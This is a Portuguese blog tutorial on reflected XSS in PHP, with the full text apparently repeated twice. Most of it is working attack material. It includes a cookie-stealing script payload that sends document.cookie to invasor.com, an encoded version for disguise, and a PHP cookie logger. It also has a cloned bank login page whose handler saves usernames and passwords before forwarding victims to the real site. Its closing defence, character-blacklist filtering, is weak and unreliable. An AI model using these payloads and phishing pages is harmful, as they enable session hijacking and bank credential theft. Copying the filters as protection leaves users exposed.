Olá pessoal, vamos lá mais uma vez com uma matéria sobre vulnerabilidades em aplicações Web.
O que é XSS (Cross Site Scripting) ?
Hoje em dia segundo estatísticas apontadas revelam que XSS está no topo das vulnerabilidades em aplicações Web mais exploradas. Ela ocorre da mesma forma que a maioria que envolvem aplicações web, quando passamos parâmetros pelos métodos POST ou GET e não fazemos o tratamento corretamente é possível executar comandos em javascript para executar alguma rotina. Ela tem como objetivo tonar aquele código executado de uma área que não tem privilégios tornando ela privilegiada. Mas o que podemos fazer quando encontramos uma falha como essa ?? Muitas coisas como por exemplo roubo de cookies ou redirecionamento para uma página falsa (Phishing) podem ser feitas, notei também em alguns e-mails que recebi que usaram sites de bancos com falhas de XSS para redirecionar para uma página falsa para efetuar download de um “suposto boleto de dívida”, mas adiante iremos falar mais sobre.
Para aqueles que ainda não sabem como funciona a passagem de parâmetros por GET ou POST recomendo que antes de mais nada leiam a minha matéria anterior
Como ocorre essa falha ?
Quando não fazemos os tratamentos adequados das variáveis passadas como ocorre na injeção de SQL e injeção de php propriamente dito podemos inserir códigos maliciosos para executar alguma rotina pré-definida pelo atacante. Geralmente quando exploramos essa falha precisamos da interação do usuário para ser concretizado com sucesso. Resolvi fazer essa imagem de como ela ocorre.
A explicação dessa imagem é bastante simples, o Atacante envia um e-mail utilizando a técnica conhecida como Phishing com um link do site do banco dele porém o link está modificado (XSS) onde ele o redireciona para uma página idêntica ao banco dele para efetuar login.
Mas Marcelo quando ele efetuar o login nessa página falsa com certeza irá perceber que ele não está no sistema do banco dele pois não irá acontecer nada. Ahhh, mas vamos pensar um pouquinho agora, essa página de login do servidor legítimo do banco com certeza ao digitar login e senha ele terá outra página que irá conter a validação dos dados, um pouco que pensamos podemos capturar os nomes das variáveis que serão passadas pelo método POST ou GET e modificar a nossa página falsa para passar os parâmetros para a página verdadeira porém com uma condição, antes vamos salvar esses dados no nosso servidor
Ah estou começando a entender o raciocínio, então Let’s Go!! Vamos analisar códigos.
Exemplo de uma página Clássica vulnerável a XSS
<?php
$nome=$_GET['user'];
echo "Usuário: $nome";
?>
Mas onde está ocorrendo essa falha Marcelo ?? Bem pessoal vamos pensar o seguinte, quando temos uma página php e temos uma zona <?php ?> e vamos precisar de alguma forma utilizar de comandos html ou javascript esses comandos por regra devem estar dentro de echo para funcionar corretamente.
Então se alterarmos essa variável que será passada pelo método GET podemos injetar códigos html ou javascript concordam ?? Então vamos lá digamos que o link onde está essa página seja Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Vamos dizer que a página principal faz um include dessa passando o nome de usuário, vou usar assim apenas para não escrever códigos grandes. Ficando
http://www.site.com.br/index.php?user=Marcelo
<?php
Include("usuarios.php");
.
.
.
?>
Geralmente em telas de login utilizam isso. Mas esse nosso exemplo não vem ao caso. Mas e se ao passar o parâmetros usarmos
http://www.site.com.br/index.php?user=<script>alert(“ESTOU AQUI MARCELO MORAES!!!”);</script>
Ao ser executa o nosso usuários.php ficaria assim
<?php
$nome=$_GET['user'];
echo "Usuário: <script>alert("ESTOU AQUI MARCELO MORAES!!!");</script>";
?>
Então o script será executado pois o mesmo se encontra dentro do comando echo. Ahhh então é assim que funciona a vulnerabilidade. Sim é exatamente isso que ocorre. Mas Marcelo isso irá exibir um simples Alert correto ?? Sim. Mas que vantagem tem isso ?? Bem como podemos trabalhar com javascript vamos tentar pegar cookies Vejamos tenho um servidor externo onde se encontra um arquivo php que está pronto para receber algo passado pelo método GET. O Código php é o seguinte
Cokar.php
<?php
$cookie=$_GET['cookie'];//Capturo os valores passados por cookie
$abrir= 'cookie.txt';// Escrevo cookie.txt dentro da variável abrir
$fp=fopen($abrir,'a');// Uso da função fopen, 'a' indica que sempre vou estar posicionando o //ponteiro sempre no final do arquivo
fwrite($fp, $cookie);//Escrevo no arquivo com o comando fwrite os valores contidos na //variável cookie
fclose($fp);// Fecho o Arquivo
?>
Esse código simples servirá para captura do cookie.
Vamos alterar a nossa página vulnerável para
http://www.site.com.br/index.php?user =<script>document.location=”http://invasor.com/cokar.php?cookie=”+document.cookie</script>
A função document.location serve para apontar para uma determinada localização de URL.
Marcelo mas o usuário verá o javascript tem como camuflar ?? Sim podemos encripta-lo facilmente
http://www.site.com.br/index.php?user =<%3D%3Cscript%3Edocument.location%3D%22http%3A%2F %2Finvasor.com%2Fcokar.php%3Fcookie%3D%22+document .cookie%3C%2Fscript%3E
Ao usuário executar se ele estiver autenticado no site.com.br no invasor.com/cookies.txt terá algo parecido como
PHPSESSID=jab1idd4ui0c7p8juf8cnm48j6
Pronto temos o cookie em mãos agora basta algumas modificações simples e conseguiremos autenticar no site
Vamos agora voltar no nosso exemplo acima do site do banco certo…
Como havia dito com certeza após a página de login tem uma página que irá validar os dados passados certo, esses dados serão passados por GET. Agora o que precisamos saber é o seguinte o nome das variáveis que entrará dentro do método GET, as vezes só de executar a URL com qualquer valor ela já nos retorna essa informação. Exemplo
Login.php
Se os parâmetros passados forem via método GET então vamos ter o seguinte resultado na URL
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Ah já sabemos agora os nomes do parâmetros que são passados e o nome do arquivo que contém a validação =D Então agora vamos modificar a página falsa que redireciona para o site do invasor, fazer uma pagina exatamente igual a essa porém com um simples detalhe, vamos salvar o conteúdo passado antes de enviar ao site destino. Vejamos…
Vamos clonar essa página de login ficando assim:
LOGIN
<form method="GET" action="salva.php">
<p>
<label>Usuário</label>
<input type="text" name="usuario" maxlength="50" />
</p>
<p>
<label>Senha</label>
<input type="password" name="senha" maxlength="50" />
</p>
<p>
<input type="submit" value="Logar" />
</p>
</form>
Reparem que estou enviando os parâmetros para a página salva.php, vamos agora ver a página salva.php
<?php
$usuario=$_GET['usuario'];//captura os dados
$senha=$_GET['senha'];// captura dos dados
$abrir= 'senhas.txt';// Escrevo senhas.txt dentro da variável abrir
$fp=fopen($abrir,'a'); );// Uso da função fopen, ‘a’ indica que sempre vou estar posicionando o //ponteiro no final do arquivo
$salvar="$usuario e $senha";//variável salvar recebe os valores de usuário e senha
fwrite($fp, $salvar) );//Escrevo no arquivo com o comando fwrite os valores contidos na //variável salvar
fclose($fp);// Fecho o arquivo
echo "<script>document.location=' http://www.bancocompilando.com/valida.php?usuario=$usuario&senha=$senha'</script>";
?>
Prontinho agora temos uma página redirecionando exatamente para o site original, ou seja se o usuário digitar a senha dele corretamente é claro irá ser passado os parâmetros e ele cairá na página original do site mas antes salvamos o login e a senha. Mas isso ai é pelo método GET e pelo POST ?? Calma pelo post também é simples saber o nome passado por tentativas e erros =D, existe uma ferramenta que claro a maioria conhece chamada Acunetix, ela é uma mão na roda quando queremos saber algo relacionado a POST, na aba httpeditor podemos jogar valores aleatoriamente chutando até descobrir a passagem correta
Lembrando que o exemplo acima do banco não se encontra vulnerável a página a XSS apenas foi um complemento de como fazer páginas falsas principalmente de cadastros, lojas virtuais e afins… Não é nada novo apenas um complemento da matéria mesmo.
Bem agora sabemos como a vulnerabilidade ocorre mas como podemos nos prevenir disso ??
Protegendo do Ataque!
Podemos filtrar a variável passada facilmente vejamos.
<?php
$nome=$_GET['usuario'];
$nome=str_replace('<','*',$nome);
echo ("$nome");
?>
A função str_replace irá efetuar uma busca na string nome do character ‘<’ e se encontrar irá substituir por * . Vamos a outro exemplo agora usando um array (Vetor).
<?php
$nome=$_GET['usuario'];//Captura dados via GET
$vetor=str_split($nome);//Converte a String em Vetor
$i=0;//Inicializa o contador em 0
$ativo=true;//Ativo Ligado
while($i<strlen($nome)){//Equanto i for o tamanho de caracteres da string nome
if (($vetor[$i]=='<')||($vetor[$i]=='>')||($vetor[$i]=='/')||($vetor[$i]==';')){//Verifica caracteres inválidos
$vetor[$i]=' ';//Subistitui por espaço em branco
if ($ativo==true){//Ativo verdadeiro
echo "<script>alert ('XSS?? Não!!!');</script>";//Exibe Alerta Avisando que XSS Não
$ativo=false;//Ativo recebe falso
}//fim do if ativo
}//fim do if de verificar caracteres
$i++;//Incrementa 1 em u
}//fim do while
$i=0;//i recebe 0
while($i<strlen($nome)){//Equanto i for o tamanho de caracteres da string nome
echo ("$vetor[$i]");//Escreve a string
$i++;//incrementa 1 em i
}// fim do while
?>
O código acima irá verificar se contém caracteres inválidos dentro da string passada, se caso tiver ele irá exibir um alerta e substituirá por espaços em branco os caracteres inválidos.
Marcelo Moraes.
O que é XSS (Cross Site Scripting) ?
Hoje em dia segundo estatísticas apontadas revelam que XSS está no topo das vulnerabilidades em aplicações Web mais exploradas. Ela ocorre da mesma forma que a maioria que envolvem aplicações web, quando passamos parâmetros pelos métodos POST ou GET e não fazemos o tratamento corretamente é possível executar comandos em javascript para executar alguma rotina. Ela tem como objetivo tonar aquele código executado de uma área que não tem privilégios tornando ela privilegiada. Mas o que podemos fazer quando encontramos uma falha como essa ?? Muitas coisas como por exemplo roubo de cookies ou redirecionamento para uma página falsa (Phishing) podem ser feitas, notei também em alguns e-mails que recebi que usaram sites de bancos com falhas de XSS para redirecionar para uma página falsa para efetuar download de um “suposto boleto de dívida”, mas adiante iremos falar mais sobre.
Para aqueles que ainda não sabem como funciona a passagem de parâmetros por GET ou POST recomendo que antes de mais nada leiam a minha matéria anterior
Como ocorre essa falha ?
Quando não fazemos os tratamentos adequados das variáveis passadas como ocorre na injeção de SQL e injeção de php propriamente dito podemos inserir códigos maliciosos para executar alguma rotina pré-definida pelo atacante. Geralmente quando exploramos essa falha precisamos da interação do usuário para ser concretizado com sucesso. Resolvi fazer essa imagem de como ela ocorre.
A explicação dessa imagem é bastante simples, o Atacante envia um e-mail utilizando a técnica conhecida como Phishing com um link do site do banco dele porém o link está modificado (XSS) onde ele o redireciona para uma página idêntica ao banco dele para efetuar login.
Mas Marcelo quando ele efetuar o login nessa página falsa com certeza irá perceber que ele não está no sistema do banco dele pois não irá acontecer nada. Ahhh, mas vamos pensar um pouquinho agora, essa página de login do servidor legítimo do banco com certeza ao digitar login e senha ele terá outra página que irá conter a validação dos dados, um pouco que pensamos podemos capturar os nomes das variáveis que serão passadas pelo método POST ou GET e modificar a nossa página falsa para passar os parâmetros para a página verdadeira porém com uma condição, antes vamos salvar esses dados no nosso servidor
Ah estou começando a entender o raciocínio, então Let’s Go!! Vamos analisar códigos.
Exemplo de uma página Clássica vulnerável a XSS
<?php
$nome=$_GET['user'];
echo "Usuário: $nome";
?>
Mas onde está ocorrendo essa falha Marcelo ?? Bem pessoal vamos pensar o seguinte, quando temos uma página php e temos uma zona <?php ?> e vamos precisar de alguma forma utilizar de comandos html ou javascript esses comandos por regra devem estar dentro de echo para funcionar corretamente.
Então se alterarmos essa variável que será passada pelo método GET podemos injetar códigos html ou javascript concordam ?? Então vamos lá digamos que o link onde está essa página seja Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Vamos dizer que a página principal faz um include dessa passando o nome de usuário, vou usar assim apenas para não escrever códigos grandes. Ficando
http://www.site.com.br/index.php?user=Marcelo
<?php
Include("usuarios.php");
.
.
.
?>
Geralmente em telas de login utilizam isso. Mas esse nosso exemplo não vem ao caso. Mas e se ao passar o parâmetros usarmos
http://www.site.com.br/index.php?user=<script>alert(“ESTOU AQUI MARCELO MORAES!!!”);</script>
Ao ser executa o nosso usuários.php ficaria assim
<?php
$nome=$_GET['user'];
echo "Usuário: <script>alert("ESTOU AQUI MARCELO MORAES!!!");</script>";
?>
Então o script será executado pois o mesmo se encontra dentro do comando echo. Ahhh então é assim que funciona a vulnerabilidade. Sim é exatamente isso que ocorre. Mas Marcelo isso irá exibir um simples Alert correto ?? Sim. Mas que vantagem tem isso ?? Bem como podemos trabalhar com javascript vamos tentar pegar cookies Vejamos tenho um servidor externo onde se encontra um arquivo php que está pronto para receber algo passado pelo método GET. O Código php é o seguinte
Cokar.php
<?php
$cookie=$_GET['cookie'];//Capturo os valores passados por cookie
$abrir= 'cookie.txt';// Escrevo cookie.txt dentro da variável abrir
$fp=fopen($abrir,'a');// Uso da função fopen, 'a' indica que sempre vou estar posicionando o //ponteiro sempre no final do arquivo
fwrite($fp, $cookie);//Escrevo no arquivo com o comando fwrite os valores contidos na //variável cookie
fclose($fp);// Fecho o Arquivo
?>
Esse código simples servirá para captura do cookie.
Vamos alterar a nossa página vulnerável para
http://www.site.com.br/index.php?user =<script>document.location=”http://invasor.com/cokar.php?cookie=”+document.cookie</script>
A função document.location serve para apontar para uma determinada localização de URL.
Marcelo mas o usuário verá o javascript tem como camuflar ?? Sim podemos encripta-lo facilmente
http://www.site.com.br/index.php?user =<%3D%3Cscript%3Edocument.location%3D%22http%3A%2F %2Finvasor.com%2Fcokar.php%3Fcookie%3D%22+document .cookie%3C%2Fscript%3E
Ao usuário executar se ele estiver autenticado no site.com.br no invasor.com/cookies.txt terá algo parecido como
PHPSESSID=jab1idd4ui0c7p8juf8cnm48j6
Pronto temos o cookie em mãos agora basta algumas modificações simples e conseguiremos autenticar no site
Vamos agora voltar no nosso exemplo acima do site do banco certo…
Como havia dito com certeza após a página de login tem uma página que irá validar os dados passados certo, esses dados serão passados por GET. Agora o que precisamos saber é o seguinte o nome das variáveis que entrará dentro do método GET, as vezes só de executar a URL com qualquer valor ela já nos retorna essa informação. Exemplo
Login.php
Se os parâmetros passados forem via método GET então vamos ter o seguinte resultado na URL
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Ah já sabemos agora os nomes do parâmetros que são passados e o nome do arquivo que contém a validação =D Então agora vamos modificar a página falsa que redireciona para o site do invasor, fazer uma pagina exatamente igual a essa porém com um simples detalhe, vamos salvar o conteúdo passado antes de enviar ao site destino. Vejamos…
Vamos clonar essa página de login ficando assim:
LOGIN
<form method="GET" action="salva.php">
<p>
<label>Usuário</label>
<input type="text" name="usuario" maxlength="50" />
</p>
<p>
<label>Senha</label>
<input type="password" name="senha" maxlength="50" />
</p>
<p>
<input type="submit" value="Logar" />
</p>
</form>
Reparem que estou enviando os parâmetros para a página salva.php, vamos agora ver a página salva.php
<?php
$usuario=$_GET['usuario'];//captura os dados
$senha=$_GET['senha'];// captura dos dados
$abrir= 'senhas.txt';// Escrevo senhas.txt dentro da variável abrir
$fp=fopen($abrir,'a'); );// Uso da função fopen, ‘a’ indica que sempre vou estar posicionando o //ponteiro no final do arquivo
$salvar="$usuario e $senha";//variável salvar recebe os valores de usuário e senha
fwrite($fp, $salvar) );//Escrevo no arquivo com o comando fwrite os valores contidos na //variável salvar
fclose($fp);// Fecho o arquivo
echo "<script>document.location=' http://www.bancocompilando.com/valida.php?usuario=$usuario&senha=$senha'</script>";
?>
Prontinho agora temos uma página redirecionando exatamente para o site original, ou seja se o usuário digitar a senha dele corretamente é claro irá ser passado os parâmetros e ele cairá na página original do site mas antes salvamos o login e a senha. Mas isso ai é pelo método GET e pelo POST ?? Calma pelo post também é simples saber o nome passado por tentativas e erros =D, existe uma ferramenta que claro a maioria conhece chamada Acunetix, ela é uma mão na roda quando queremos saber algo relacionado a POST, na aba httpeditor podemos jogar valores aleatoriamente chutando até descobrir a passagem correta
Lembrando que o exemplo acima do banco não se encontra vulnerável a página a XSS apenas foi um complemento de como fazer páginas falsas principalmente de cadastros, lojas virtuais e afins… Não é nada novo apenas um complemento da matéria mesmo.
Bem agora sabemos como a vulnerabilidade ocorre mas como podemos nos prevenir disso ??
Protegendo do Ataque!
Podemos filtrar a variável passada facilmente vejamos.
<?php
$nome=$_GET['usuario'];
$nome=str_replace('<','*',$nome);
echo ("$nome");
?>
A função str_replace irá efetuar uma busca na string nome do character ‘<’ e se encontrar irá substituir por * . Vamos a outro exemplo agora usando um array (Vetor).
<?php
$nome=$_GET['usuario'];//Captura dados via GET
$vetor=str_split($nome);//Converte a String em Vetor
$i=0;//Inicializa o contador em 0
$ativo=true;//Ativo Ligado
while($i<strlen($nome)){//Equanto i for o tamanho de caracteres da string nome
if (($vetor[$i]=='<')||($vetor[$i]=='>')||($vetor[$i]=='/')||($vetor[$i]==';')){//Verifica caracteres inválidos
$vetor[$i]=' ';//Subistitui por espaço em branco
if ($ativo==true){//Ativo verdadeiro
echo "<script>alert ('XSS?? Não!!!');</script>";//Exibe Alerta Avisando que XSS Não
$ativo=false;//Ativo recebe falso
}//fim do if ativo
}//fim do if de verificar caracteres
$i++;//Incrementa 1 em u
}//fim do while
$i=0;//i recebe 0
while($i<strlen($nome)){//Equanto i for o tamanho de caracteres da string nome
echo ("$vetor[$i]");//Escreve a string
$i++;//incrementa 1 em i
}// fim do while
?>
O código acima irá verificar se contém caracteres inválidos dentro da string passada, se caso tiver ele irá exibir um alerta e substituirá por espaços em branco os caracteres inválidos.
Marcelo Moraes.
Comment